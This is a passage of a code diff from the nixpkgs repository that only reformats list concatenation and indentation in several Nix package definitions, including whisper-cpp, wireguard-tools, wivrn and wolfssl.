+++ b/pkgs/by-name/wg/wgpu-native/examples.nix
@@ -35,16 +35,15 @@ stdenv.mkDerivation (finalAttrs: {
     makeWrapper
   ];
 
-  buildInputs =
-    [
-      wgpu-native
-      glfw
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      wayland
-      xorg.libX11
-      xorg.libXrandr
-    ];
+  buildInputs = [
+    wgpu-native
+    glfw
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    wayland
+    xorg.libX11
+    xorg.libXrandr
+  ];
 
   runtimeInputs = lib.optionals stdenv.hostPlatform.isLinux [
     # Without wayland in library path, this warning is raised:
diff --git a/pkgs/by-name/wg/wgpu-native/package.nix b/pkgs/by-name/wg/wgpu-native/package.nix
index 95988dddf8f3..04e027819b7c 100644
--- a/pkgs/by-name/wg/wgpu-native/package.nix
+++ b/pkgs/by-name/wg/wgpu-native/package.nix
@@ -31,7 +31,8 @@ rustPlatform.buildRustPackage rec {
 
   nativeBuildInputs = [
     rustPlatform.bindgenHook
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin fixDarwinDylibNames;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin fixDarwinDylibNames;
 
   buildInputs = lib.optionals stdenv.hostPlatform.isLinux [
     vulkan-loader
diff --git a/pkgs/by-name/wh/where-is-my-sddm-theme/package.nix b/pkgs/by-name/wh/where-is-my-sddm-theme/package.nix
index 10887e1e6cb2..eb0fee939bc5 100644
--- a/pkgs/by-name/wh/where-is-my-sddm-theme/package.nix
+++ b/pkgs/by-name/wh/where-is-my-sddm-theme/package.nix
@@ -51,26 +51,25 @@ lib.checkListOfEnum "where-is-my-sddm-theme: variant" validVariants variants
         qt6.qtsvg
       ];
 
-    installPhase =
+    installPhase = ''
+      mkdir -p $out/share/sddm/themes/
+    ''
+    + lib.optionalString (lib.elem "qt6" variants) (
       ''
-        mkdir -p $out/share/sddm/themes/
+        cp -r where_is_my_sddm_theme/ $out/share/sddm/themes/
       ''
-      + lib.optionalString (lib.elem "qt6" variants) (
-        ''
-          cp -r where_is_my_sddm_theme/ $out/share/sddm/themes/
-        ''
-        + lib.optionalString (lib.isAttrs themeConfig) ''
-          ln -sf ${user-cfg} $out/share/sddm/themes/where_is_my_sddm_theme/theme.conf.user
-        ''
-      )
-      + lib.optionalString (lib.elem "qt5" variants) (
-        ''
-          cp -r where_is_my_sddm_theme_qt5/ $out/share/sddm/themes/
-        ''
-        + lib.optionalString (lib.isAttrs themeConfig) ''
-          ln -sf ${user-cfg} $out/share/sddm/themes/where_is_my_sddm_theme_qt5/theme.conf.user
-        ''
-      );
+      + lib.optionalString (lib.isAttrs themeConfig) ''
+        ln -sf ${user-cfg} $out/share/sddm/themes/where_is_my_sddm_theme/theme.conf.user
+      ''
+    )
+    + lib.optionalString (lib.elem "qt5" variants) (
+      ''
+        cp -r where_is_my_sddm_theme_qt5/ $out/share/sddm/themes/
+      ''
+      + lib.optionalString (lib.isAttrs themeConfig) ''
+        ln -sf ${user-cfg} $out/share/sddm/themes/where_is_my_sddm_theme_qt5/theme.conf.user
+      ''
+    );
 
     meta = {
       description = "Most minimalistic SDDM theme among all themes";
diff --git a/pkgs/by-name/wh/whisper-cpp/package.nix b/pkgs/by-name/wh/whisper-cpp/package.nix
index 55c0d357e5d8..9cd415a8bfaf 100644
--- a/pkgs/by-name/wh/whisper-cpp/package.nix
+++ b/pkgs/by-name/wh/whisper-cpp/package.nix
@@ -95,18 +95,17 @@ effectiveStdenv.mkDerivation (finalAttrs: {
     done
   '';
 
-  nativeBuildInputs =
-    [
-      cmake
-      git
-      ninja
-      which
-      makeWrapper
-    ]
-    ++ lib.optionals cudaSupport [
-      cudaPackages.cuda_nvcc
-      autoAddDriverRunpath
-    ];
+  nativeBuildInputs = [
+    cmake
+    git
+    ninja
+    which
+    makeWrapper
+  ]
+  ++ lib.optionals cudaSupport [
+    cudaPackages.cuda_nvcc
+    autoAddDriverRunpath
+  ];
 
   buildInputs =
     optional withSDL SDL2
@@ -115,42 +114,41 @@ effectiveStdenv.mkDerivation (finalAttrs: {
     ++ optionals rocmSupport rocmBuildInputs
     ++ optionals vulkanSupport vulkanBuildInputs;
 
-  cmakeFlags =
-    [
-      (cmakeBool "WHISPER_BUILD_EXAMPLES" true)
-      (cmakeBool "GGML_CUDA" cudaSupport)
-      (cmakeBool "GGML_HIPBLAS" rocmSupport)
-      (cmakeBool "GGML_VULKAN" vulkanSupport)
-      (cmakeBool "WHISPER_SDL2" withSDL)
-      (cmakeBool "GGML_LTO" true)
-      (cmakeBool "GGML_NATIVE" false)
-      (cmakeBool "BUILD_SHARED_LIBS" (!effectiveStdenv.hostPlatform.isStatic))
-    ]
-    ++ optionals (effectiveStdenv.hostPlatform.isx86 && !effectiveStdenv.hostPlatform.isStatic) [
-      (cmakeBool "GGML_BACKEND_DL" true)
-      (cmakeBool "GGML_CPU_ALL_VARIANTS" true)
-    ]
-    ++ optionals cudaSupport [
-      (cmakeFeature "CMAKE_CUDA_ARCHITECTURES" cudaPackages.flags.cmakeCudaArchitecturesString)
-    ]
-    ++ optionals rocmSupport [
-      (cmakeFeature "CMAKE_C_COMPILER" "hipcc")
-      (cmakeFeature "CMAKE_CXX_COMPILER" "hipcc")
+  cmakeFlags = [
+    (cmakeBool "WHISPER_BUILD_EXAMPLES" true)
+    (cmakeBool "GGML_CUDA" cudaSupport)
+    (cmakeBool "GGML_HIPBLAS" rocmSupport)
+    (cmakeBool "GGML_VULKAN" vulkanSupport)
+    (cmakeBool "WHISPER_SDL2" withSDL)
+    (cmakeBool "GGML_LTO" true)
+    (cmakeBool "GGML_NATIVE" false)
+    (cmakeBool "BUILD_SHARED_LIBS" (!effectiveStdenv.hostPlatform.isStatic))
+  ]
+  ++ optionals (effectiveStdenv.hostPlatform.isx86 && !effectiveStdenv.hostPlatform.isStatic) [
+    (cmakeBool "GGML_BACKEND_DL" true)
+    (cmakeBool "GGML_CPU_ALL_VARIANTS" true)
+  ]
+  ++ optionals cudaSupport [
+    (cmakeFeature "CMAKE_CUDA_ARCHITECTURES" cudaPackages.flags.cmakeCudaArchitecturesString)
+  ]
+  ++ optionals rocmSupport [
+    (cmakeFeature "CMAKE_C_COMPILER" "hipcc")
+    (cmakeFeature "CMAKE_CXX_COMPILER" "hipcc")
 
-      # Build all targets supported by rocBLAS. When updating search for TARGET_LIST_ROCM
-      # in https://github.com/ROCmSoftwarePlatform/rocBLAS/blob/develop/CMakeLists.txt
-      # and select the line that matches the current nixpkgs version of rocBLAS.
-      "-DAMDGPU_TARGETS=${rocmGpuTargets}"
-    ]
-    ++ optionals coreMLSupport [
-      (cmakeBool "WHISPER_COREML" true)
-      (cmakeBool "WHISPER_COREML_ALLOW_FALLBACK" true)
-    ]
-    ++ optionals metalSupport [
-      (cmakeFeature "CMAKE_C_FLAGS" "-D__ARM_FEATURE_DOTPROD=1")
-      (cmakeBool "GGML_METAL" true)
-      (cmakeBool "GGML_METAL_EMBED_LIBRARY" true)
-    ];
+    # Build all targets supported by rocBLAS. When updating search for TARGET_LIST_ROCM
+    # in https://github.com/ROCmSoftwarePlatform/rocBLAS/blob/develop/CMakeLists.txt
+    # and select the line that matches the current nixpkgs version of rocBLAS.
+    "-DAMDGPU_TARGETS=${rocmGpuTargets}"
+  ]
+  ++ optionals coreMLSupport [
+    (cmakeBool "WHISPER_COREML" true)
+    (cmakeBool "WHISPER_COREML_ALLOW_FALLBACK" true)
+  ]
+  ++ optionals metalSupport [
+    (cmakeFeature "CMAKE_C_FLAGS" "-D__ARM_FEATURE_DOTPROD=1")
+    (cmakeBool "GGML_METAL" true)
+    (cmakeBool "GGML_METAL_EMBED_LIBRARY" true)
+  ];
 
   postInstall = ''
     # Add "whisper-cpp" prefix before every command
diff --git a/pkgs/by-name/wi/widelands/package.nix b/pkgs/by-name/wi/widelands/package.nix
index e91f348c20f9..c29539a25160 100644
--- a/pkgs/by-name/wi/widelands/package.nix
+++ b/pkgs/by-name/wi/widelands/package.nix
@@ -78,7 +78,8 @@ stdenv.mkDerivation rec {
     asio
     libSM # XXX: these should be propagated by SDL2?
     libICE
-  ] ++ lib.optional stdenv.hostPlatform.isLinux libXext;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux libXext;
 
   postInstall =
     lib.optionalString stdenv.hostPlatform.isLinux ''
diff --git a/pkgs/by-name/wi/wifite2/package.nix b/pkgs/by-name/wi/wifite2/package.nix
index 9fc4fd21db47..9615655b9f2b 100644
--- a/pkgs/by-name/wi/wifite2/package.nix
+++ b/pkgs/by-name/wi/wifite2/package.nix
@@ -67,7 +67,8 @@ python3.pkgs.buildPythonApplication rec {
     john
     iw
     macchanger
-  ] ++ pythonDependencies;
+  ]
+  ++ pythonDependencies;
 
   nativeCheckInputs = propagatedBuildInputs ++ [ python3.pkgs.unittestCheckHook ];
 
diff --git a/pkgs/by-name/wi/wiiuse/package.nix b/pkgs/by-name/wi/wiiuse/package.nix
index bdc91158d28e..e99de04a2964 100644
--- a/pkgs/by-name/wi/wiiuse/package.nix
+++ b/pkgs/by-name/wi/wiiuse/package.nix
@@ -43,7 +43,8 @@ stdenv.mkDerivation rec {
 
   cmakeFlags = [
     "-DBUILD_EXAMPLE_SDL=OFF"
-  ] ++ [ (lib.cmakeBool "BUILD_SHARED_LIBS" (!stdenv.hostPlatform.isStatic)) ];
+  ]
+  ++ [ (lib.cmakeBool "BUILD_SHARED_LIBS" (!stdenv.hostPlatform.isStatic)) ];
 
   meta = with lib; {
     description = "Feature complete cross-platform Wii Remote access library";
diff --git a/pkgs/by-name/wi/wiliwili/package.nix b/pkgs/by-name/wi/wiliwili/package.nix
index 755c36547282..cdb354bc1e2a 100644
--- a/pkgs/by-name/wi/wiliwili/package.nix
+++ b/pkgs/by-name/wi/wiliwili/package.nix
@@ -28,33 +28,31 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-37DQafP+PFjrfNXJt88oK0ghqQEVQjDdVbYsf1tHAN4=";
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      wayland-scanner
-    ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    wayland-scanner
+  ];
 
-  buildInputs =
-    [
-      mpv-unwrapped
-      openssl
-      curl
-      libxkbcommon
-      dbus
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libffi # needed for wayland
-      wayland
-      egl-wayland
-      xorg.libX11
-      xorg.libXrandr
-      xorg.libXinerama
-      xorg.libXcursor
-      xorg.libXi
-    ];
+  buildInputs = [
+    mpv-unwrapped
+    openssl
+    curl
+    libxkbcommon
+    dbus
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libffi # needed for wayland
+    wayland
+    egl-wayland
+    xorg.libX11
+    xorg.libXrandr
+    xorg.libXinerama
+    xorg.libXcursor
+    xorg.libXi
+  ];
 
   cmakeFlags = [
     (lib.cmakeBool "PLATFORM_DESKTOP" true)
diff --git a/pkgs/by-name/wi/windmill/package.nix b/pkgs/by-name/wi/windmill/package.nix
index 3f0a39efe5d1..e75a953523d2 100644
--- a/pkgs/by-name/wi/windmill/package.nix
+++ b/pkgs/by-name/wi/windmill/package.nix
@@ -66,39 +66,38 @@ rustPlatform.buildRustPackage (finalAttrs: {
   cargoHash = "sha256-6htM6p09mPUQmS+QVBDO7Y/tuwweHgA+W/E3XTNunB8=";
   useFetchCargoVendor = true;
 
-  buildFeatures =
-    [
-      "embedding"
-      "parquet"
-      "prometheus"
-      "openidconnect"
-      "cloud"
-      "jemalloc"
-      "deno_core"
-      "license"
-      "http_trigger"
-      "zip"
-      "oauth2"
-      "kafka"
-      "otel"
-      "dind"
-      "php"
-      "mysql"
-      "mssql"
-      "bigquery"
-      "websocket"
-      "python"
-      "smtp"
-      "csharp"
-      "static_frontend"
-      # "rust" # compiler environment is incomplete
-    ]
-    ++ (lib.optionals withEnterpriseFeatures [
-      "enterprise"
-      "enterprise_saml"
-      "tantivy"
-      "stripe"
-    ]);
+  buildFeatures = [
+    "embedding"
+    "parquet"
+    "prometheus"
+    "openidconnect"
+    "cloud"
+    "jemalloc"
+    "deno_core"
+    "license"
+    "http_trigger"
+    "zip"
+    "oauth2"
+    "kafka"
+    "otel"
+    "dind"
+    "php"
+    "mysql"
+    "mssql"
+    "bigquery"
+    "websocket"
+    "python"
+    "smtp"
+    "csharp"
+    "static_frontend"
+    # "rust" # compiler environment is incomplete
+  ]
+  ++ (lib.optionals withEnterpriseFeatures [
+    "enterprise"
+    "enterprise_saml"
+    "tantivy"
+    "stripe"
+  ]);
 
   patches = [
     ./download.py.config.proto.patch
diff --git a/pkgs/by-name/wi/wireguard-tools/package.nix b/pkgs/by-name/wi/wireguard-tools/package.nix
index b8bad89199da..7a4f55c2f95f 100644
--- a/pkgs/by-name/wi/wireguard-tools/package.nix
+++ b/pkgs/by-name/wi/wireguard-tools/package.nix
@@ -40,36 +40,35 @@ stdenv.mkDerivation rec {
     "WITH_WGQUICK=yes"
   ];
 
-  postFixup =
-    ''
-      substituteInPlace $out/lib/systemd/system/wg-quick@.service \
-        --replace /usr/bin $out/bin
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      for f in $out/bin/*; do
-        # Which firewall and resolvconf implementations to use should be determined by the
-        # environment, we provide the "default" ones as fallback.
-        wrapProgram $f \
-          --prefix PATH : ${
-            lib.makeBinPath [
-              procps
-              iproute2
-            ]
-          } \
-          --suffix PATH : ${
-            lib.makeBinPath [
-              iptables
-              openresolv
-            ]
-          }
-      done
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      for f in $out/bin/*; do
-        wrapProgram $f \
-          --prefix PATH : ${lib.makeBinPath [ wireguard-go ]}
-      done
-    '';
+  postFixup = ''
+    substituteInPlace $out/lib/systemd/system/wg-quick@.service \
+      --replace /usr/bin $out/bin
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    for f in $out/bin/*; do
+      # Which firewall and resolvconf implementations to use should be determined by the
+      # environment, we provide the "default" ones as fallback.
+      wrapProgram $f \
+        --prefix PATH : ${
+          lib.makeBinPath [
+            procps
+            iproute2
+          ]
+        } \
+        --suffix PATH : ${
+          lib.makeBinPath [
+            iptables
+            openresolv
+          ]
+        }
+    done
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    for f in $out/bin/*; do
+      wrapProgram $f \
+        --prefix PATH : ${lib.makeBinPath [ wireguard-go ]}
+    done
+  '';
 
   passthru = {
     updateScript = ./update.sh;
diff --git a/pkgs/by-name/wi/wivrn/package.nix b/pkgs/by-name/wi/wivrn/package.nix
index 2286eb53a831..ad0a5b0751da 100644
--- a/pkgs/by-name/wi/wivrn/package.nix
+++ b/pkgs/by-name/wi/wivrn/package.nix
@@ -88,84 +88,81 @@ stdenv.mkDerivation (finalAttrs: {
     fi
   '';
 
-  nativeBuildInputs =
-    [
-      cmake
-      git
-      glib
-      glslang
-      librsvg
-      pkg-config
-      python3
-      qt6.wrapQtAppsHook
-    ]
-    ++ lib.optionals cudaSupport [
-      autoAddDriverRunpath
-    ];
+  nativeBuildInputs = [
+    cmake
+    git
+    glib
+    glslang
+    librsvg
+    pkg-config
+    python3
+    qt6.wrapQtAppsHook
+  ]
+  ++ lib.optionals cudaSupport [
+    autoAddDriverRunpath
+  ];
 
-  buildInputs =
-    [
-      avahi
-      boost
-      cli11
-      eigen
-      ffmpeg
-      freetype
-      glm
-      harfbuzz
-      kdePackages.kcoreaddons
-      kdePackages.ki18n
-      kdePackages.kiconthemes
-      kdePackages.kirigami
-      kdePackages.qcoro
-      kdePackages.qqc2-desktop-style
-      libdrm
-      libGL
-      libnotify
-      libpulseaudio
-      libva
-      libX11
-      libXrandr
-      nlohmann_json
-      openxr-loader
-      onnxruntime
-      pipewire
-      qt6.qtbase
-      qt6.qtsvg
-      qt6.qttools
-      shaderc
-      spdlog
-      systemd
-      udev
-      vulkan-headers
-      vulkan-loader
-      x264
-    ]
-    ++ lib.optionals cudaSupport [
-      cudaPackages.cudatoolkit
-    ];
+  buildInputs = [
+    avahi
+    boost
+    cli11
+    eigen
+    ffmpeg
+    freetype
+    glm
+    harfbuzz
+    kdePackages.kcoreaddons
+    kdePackages.ki18n
+    kdePackages.kiconthemes
+    kdePackages.kirigami
+    kdePackages.qcoro
+    kdePackages.qqc2-desktop-style
+    libdrm
+    libGL
+    libnotify
+    libpulseaudio
+    libva
+    libX11
+    libXrandr
+    nlohmann_json
+    openxr-loader
+    onnxruntime
+    pipewire
+    qt6.qtbase
+    qt6.qtsvg
+    qt6.qttools
+    shaderc
+    spdlog
+    systemd
+    udev
+    vulkan-headers
+    vulkan-loader
+    x264
+  ]
+  ++ lib.optionals cudaSupport [
+    cudaPackages.cudatoolkit
+  ];
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "WIVRN_USE_NVENC" cudaSupport)
-      (lib.cmakeBool "WIVRN_USE_VAAPI" true)
-      (lib.cmakeBool "WIVRN_USE_VULKAN_ENCODE" true)
-      (lib.cmakeBool "WIVRN_USE_X264" true)
-      (lib.cmakeBool "WIVRN_USE_PIPEWIRE" true)
-      (lib.cmakeBool "WIVRN_USE_PULSEAUDIO" true)
-      (lib.cmakeBool "WIVRN_FEATURE_STEAMVR_LIGHTHOUSE" true)
-      (lib.cmakeBool "WIVRN_BUILD_CLIENT" false)
-      (lib.cmakeBool "WIVRN_BUILD_DASHBOARD" true)
-      (lib.cmakeBool "WIVRN_CHECK_CAPSYSNICE" false)
-      (lib.cmakeBool "FETCHCONTENT_FULLY_DISCONNECTED" true)
-      (lib.cmakeFeature "WIVRN_OPENXR_MANIFEST_TYPE" "absolute")
-      (lib.cmakeFeature "OVR_COMPAT_SEARCH_PATH" ovrCompatSearchPaths)
-      (lib.cmakeFeature "GIT_DESC" "v${finalAttrs.version}")
-      (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_MONADO" "${finalAttrs.monado}")
-    ]
-    ++ lib.optionals cudaSupport [
-      (lib.cmakeFeature "CUDA_TOOLKIT_ROOT_DIR" "${cudaPackages.cudatoolkit}")
-    ];
+  cmakeFlags = [
+    (lib.cmakeBool "WIVRN_USE_NVENC" cudaSupport)
+    (lib.cmakeBool "WIVRN_USE_VAAPI" true)
+    (lib.cmakeBool "WIVRN_USE_VULKAN_ENCODE" true)
+    (lib.cmakeBool "WIVRN_USE_X264" true)
+    (lib.cmakeBool "WIVRN_USE_PIPEWIRE" true)
+    (lib.cmakeBool "WIVRN_USE_PULSEAUDIO" true)
+    (lib.cmakeBool "WIVRN_FEATURE_STEAMVR_LIGHTHOUSE" true)
+    (lib.cmakeBool "WIVRN_BUILD_CLIENT" false)
+    (lib.cmakeBool "WIVRN_BUILD_DASHBOARD" true)
+    (lib.cmakeBool "WIVRN_CHECK_CAPSYSNICE" false)
+    (lib.cmakeBool "FETCHCONTENT_FULLY_DISCONNECTED" true)
+    (lib.cmakeFeature "WIVRN_OPENXR_MANIFEST_TYPE" "absolute")
+    (lib.cmakeFeature "OVR_COMPAT_SEARCH_PATH" ovrCompatSearchPaths)
+    (lib.cmakeFeature "GIT_DESC" "v${finalAttrs.version}")
+    (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_MONADO" "${finalAttrs.monado}")
+  ]
+  ++ lib.optionals cudaSupport [
+    (lib.cmakeFeature "CUDA_TOOLKIT_ROOT_DIR" "${cudaPackages.cudatoolkit}")
+  ];
 
   dontWrapQtApps = true;
 
diff --git a/pkgs/by-name/wk/wkhtmltopdf/package.nix b/pkgs/by-name/wk/wkhtmltopdf/package.nix
index 67c5d26ef8ef..86dbc4eb4aa5 100644
--- a/pkgs/by-name/wk/wkhtmltopdf/package.nix
+++ b/pkgs/by-name/wk/wkhtmltopdf/package.nix
@@ -78,7 +78,8 @@ let
       url = "https://github.com/wkhtmltopdf/packaging/releases/download/${version}/wkhtmltox_${version}.bookworm_arm64.deb";
       hash = "sha256-tmBhV7J8E+BE0Ku+ZwMB+I3k4Xgq/KT5wGpYF/PgOpw=";
     };
-  } // _linuxAttrs;
+  }
+  // _linuxAttrs;
 
   linuxAttrs.x86_64-linux = rec {
     version = "0.12.6.1-3";
@@ -86,7 +87,8 @@ let
       url = "https://github.com/wkhtmltopdf/packaging/releases/download/${version}/wkhtmltox_${version}.bookworm_amd64.deb";
       hash = "sha256-mLoNFXtQ028jvQ3t9MCqKMewxQ/NzcVKpba7uoGjlB0=";
     };
-  } // _linuxAttrs;
+  }
+  // _linuxAttrs;
 in
 stdenv.mkDerivation (
   {
diff --git a/pkgs/by-name/wl/wl-clipboard-rs/package.nix b/pkgs/by-name/wl/wl-clipboard-rs/package.nix
index 2fc26e2c3836..d3cf2db0d8d7 100644
--- a/pkgs/by-name/wl/wl-clipboard-rs/package.nix
+++ b/pkgs/by-name/wl/wl-clipboard-rs/package.nix
@@ -22,30 +22,27 @@ rustPlatform.buildRustPackage rec {
   useFetchCargoVendor = true;
   cargoHash = "sha256-6HNSQ27PGhF6tt12jdu6llDUZ/tYsFwx2pCJx3mKm/E=";
 
-  cargoBuildFlags =
-    [
-      "--package=wl-clipboard-rs"
-      "--package=wl-clipboard-rs-tools"
-    ]
-    ++ lib.optionals withNativeLibs [
-      "--features=native_lib"
-    ];
+  cargoBuildFlags = [
+    "--package=wl-clipboard-rs"
+    "--package=wl-clipboard-rs-tools"
+  ]
+  ++ lib.optionals withNativeLibs [
+    "--features=native_lib"
+  ];
 
-  nativeBuildInputs =
-    [
-      installShellFiles
-    ]
-    ++ lib.optionals withNativeLibs [
-      pkg-config
-    ];
+  nativeBuildInputs = [
+    installShellFiles
+  ]
+  ++ lib.optionals withNativeLibs [
+    pkg-config
+  ];
 
-  buildInputs =
-    [
-      installShellFiles
-    ]
-    ++ lib.optionals withNativeLibs [
-      wayland
-    ];
+  buildInputs = [
+    installShellFiles
+  ]
+  ++ lib.optionals withNativeLibs [
+    wayland
+  ];
 
   preCheck = ''
     export XDG_RUNTIME_DIR=$(mktemp -d)
diff --git a/pkgs/by-name/wl/wl-mirror/package.nix b/pkgs/by-name/wl/wl-mirror/package.nix
index 24dc422ec12f..fe12b34711e3 100644
--- a/pkgs/by-name/wl/wl-mirror/package.nix
+++ b/pkgs/by-name/wl/wl-mirror/package.nix
@@ -72,19 +72,18 @@ stdenv.mkDerivation rec {
     "-DWITH_GBM=ON"
   ];
 
-  postInstall =
-    ''
-      installShellCompletion --cmd wl-mirror \
-        --bash ../scripts/completions/bash-completions/_wl-mirror \
-        --zsh ../scripts/completions/zsh-completions/_wl-mirror
+  postInstall = ''
+    installShellCompletion --cmd wl-mirror \
+      --bash ../scripts/completions/bash-completions/_wl-mirror \
+      --zsh ../scripts/completions/zsh-completions/_wl-mirror
 
-      installShellCompletion --cmd wl-present \
-        --bash ../scripts/completions/bash-completions/_wl-present \
-        --zsh ../scripts/completions/zsh-completions/_wl-present
-    ''
-    + lib.optionalString installExampleScripts ''
-      wrapProgram $out/bin/wl-present --prefix PATH ":" ${wl-present-binpath}
-    '';
+    installShellCompletion --cmd wl-present \
+      --bash ../scripts/completions/bash-completions/_wl-present \
+      --zsh ../scripts/completions/zsh-completions/_wl-present
+  ''
+  + lib.optionalString installExampleScripts ''
+    wrapProgram $out/bin/wl-present --prefix PATH ":" ${wl-present-binpath}
+  '';
 
   meta = with lib; {
     homepage = "https://github.com/Ferdi265/wl-mirror";
diff --git a/pkgs/by-name/wl/wldash/package.nix b/pkgs/by-name/wl/wldash/package.nix
index 287f9da37e37..b333f08f1ac9 100644
--- a/pkgs/by-name/wl/wldash/package.nix
+++ b/pkgs/by-name/wl/wldash/package.nix
@@ -25,13 +25,12 @@ rustPlatform.buildRustPackage {
   inherit pname version;
 
   buildNoDefaultFeatures = true;
-  buildFeatures =
-    [
-      "yaml-cfg"
-      "json-cfg"
-    ]
-    ++ lib.optionals enableAlsaWidget [ "alsa-widget" ]
-    ++ lib.optionals enablePulseaudioWidget [ "pulseaudio-widget" ];
+  buildFeatures = [
+    "yaml-cfg"
+    "json-cfg"
+  ]
+  ++ lib.optionals enableAlsaWidget [ "alsa-widget" ]
+  ++ lib.optionals enablePulseaudioWidget [ "pulseaudio-widget" ];
 
   src = fetchFromGitHub {
     owner = "kennylevinsen";
@@ -43,13 +42,12 @@ rustPlatform.buildRustPackage {
   strictDeps = true;
 
   nativeBuildInputs = [ pkg-config ];
-  buildInputs =
-    [
-      dbus
-      fontconfig
-    ]
-    ++ lib.optionals enableAlsaWidget [ alsa-lib ]
-    ++ lib.optionals enablePulseaudioWidget [ libpulseaudio ];
+  buildInputs = [
+    dbus
+    fontconfig
+  ]
+  ++ lib.optionals enableAlsaWidget [ alsa-lib ]
+  ++ lib.optionals enablePulseaudioWidget [ libpulseaudio ];
 
   cargoPatches = [
     ./0001-Update-Cargo.lock.patch
diff --git a/pkgs/by-name/wl/wlogout/package.nix b/pkgs/by-name/wl/wlogout/package.nix
index 6a50af56cd81..2aeff3f10714 100644
--- a/pkgs/by-name/wl/wlogout/package.nix
+++ b/pkgs/by-name/wl/wlogout/package.nix
@@ -46,16 +46,15 @@ stdenv.mkDerivation (finalAttrs: {
     scdoc
   ];
 
-  buildInputs =
-    [
-      gtk3
-      libxkbcommon
-      wayland
-      wayland-protocols
-    ]
-    ++ lib.optionals withGtkLayerShell [
-      gtk-layer-shell
-    ];
+  buildInputs = [
+    gtk3
+    libxkbcommon
+    wayland
+    wayland-protocols
+  ]
+  ++ lib.optionals withGtkLayerShell [
+    gtk-layer-shell
+  ];
 
   strictDeps = true;
 
diff --git a/pkgs/by-name/wo/wob/package.nix b/pkgs/by-name/wo/wob/package.nix
index 1fc1b26282b4..430055eda48f 100644
--- a/pkgs/by-name/wo/wob/package.nix
+++ b/pkgs/by-name/wo/wob/package.nix
@@ -41,7 +41,8 @@ stdenv.mkDerivation rec {
     inih
     wayland
     wayland-protocols
-  ] ++ lib.optional stdenv.hostPlatform.isLinux libseccomp;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux libseccomp;
 
   mesonFlags = lib.optional stdenv.hostPlatform.isLinux "-Dseccomp=enabled";
 
diff --git a/pkgs/by-name/wo/woff2/package.nix b/pkgs/by-name/wo/woff2/package.nix
index ef5a9a5e006c..22d3ce49e41a 100644
--- a/pkgs/by-name/wo/woff2/package.nix
+++ b/pkgs/by-name/wo/woff2/package.nix
@@ -36,7 +36,8 @@ stdenv.mkDerivation rec {
   cmakeFlags = [
     "-DCANONICAL_PREFIXES=ON"
     "-DBUILD_SHARED_LIBS=${if static then "OFF" else "ON"}"
-  ] ++ lib.optional static "-DCMAKE_SKIP_RPATH:BOOL=TRUE";
+  ]
+  ++ lib.optional static "-DCMAKE_SKIP_RPATH:BOOL=TRUE";
 
   propagatedBuildInputs = [ brotli ];
 
diff --git a/pkgs/by-name/wo/wolfssl/package.nix b/pkgs/by-name/wo/wolfssl/package.nix
index b7c1bca77bf5..417e804d0776 100644
--- a/pkgs/by-name/wo/wolfssl/package.nix
+++ b/pkgs/by-name/wo/wolfssl/package.nix
@@ -33,40 +33,39 @@ stdenv.mkDerivation (finalAttrs: {
       --replace '"linux-gnu"' '"linux-"'
   '';
 
-  configureFlags =
-    [
-      "--enable-${variant}"
-      "--enable-reproducible-build"
-    ]
-    ++ lib.optionals (variant == "all") [
-      # Extra feature flags to add while building the 'all' variant.
-      # Since they conflict while building other variants, only specify them for this one.
-      "--enable-pkcs11"
-      "--enable-writedup"
-      "--enable-base64encode"
-    ]
-    ++ [
-      # We're not on tiny embedded machines.
-      # Increase TLS session cache from 33 sessions to 20k.
-      "--enable-bigcache"
+  configureFlags = [
+    "--enable-${variant}"
+    "--enable-reproducible-build"
+  ]
+  ++ lib.optionals (variant == "all") [
+    # Extra feature flags to add while building the 'all' variant.
+    # Since they conflict while building other variants, only specify them for this one.
+    "--enable-pkcs11"
+    "--enable-writedup"
+    "--enable-base64encode"
+  ]
+  ++ [
+    # We're not on tiny embedded machines.
+    # Increase TLS session cache from 33 sessions to 20k.
+    "--enable-bigcache"
 
-      # Use WolfSSL's Single Precision Math with timing-resistant cryptography.
-      "--enable-sp=yes${
-        lib.optionalString (stdenv.hostPlatform.isx86_64 || stdenv.hostPlatform.isAarch) ",asm"
-      }"
-      "--enable-sp-math-all"
-      "--enable-harden"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isx86_64) [
-      # Enable AVX/AVX2/AES-NI instructions, gated by runtime detection via CPUID.
-      "--enable-intelasm"
-      "--enable-aesni"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isAarch64) [
-      # No runtime detection under ARM and no platform function checks like for X86.
-      (if enableARMCryptoExtensions then "--enable-armasm=inline" else "--disable-armasm")
-    ]
-    ++ extraConfigureFlags;
+    # Use WolfSSL's Single Precision Math with timing-resistant cryptography.
+    "--enable-sp=yes${
+      lib.optionalString (stdenv.hostPlatform.isx86_64 || stdenv.hostPlatform.isAarch) ",asm"
+    }"
+    "--enable-sp-math-all"
+    "--enable-harden"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isx86_64) [
+    # Enable AVX/AVX2/AES-NI instructions, gated by runtime detection via CPUID.
+    "--enable-intelasm"
+    "--enable-aesni"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isAarch64) [
+    # No runtime detection under ARM and no platform function checks like for X86.
+    (if enableARMCryptoExtensions then "--enable-armasm=inline" else "--disable-armasm")
+  ]
+  ++ extraConfigureFlags;
 
   # Breaks tls13 tests on aarch64-darwin.
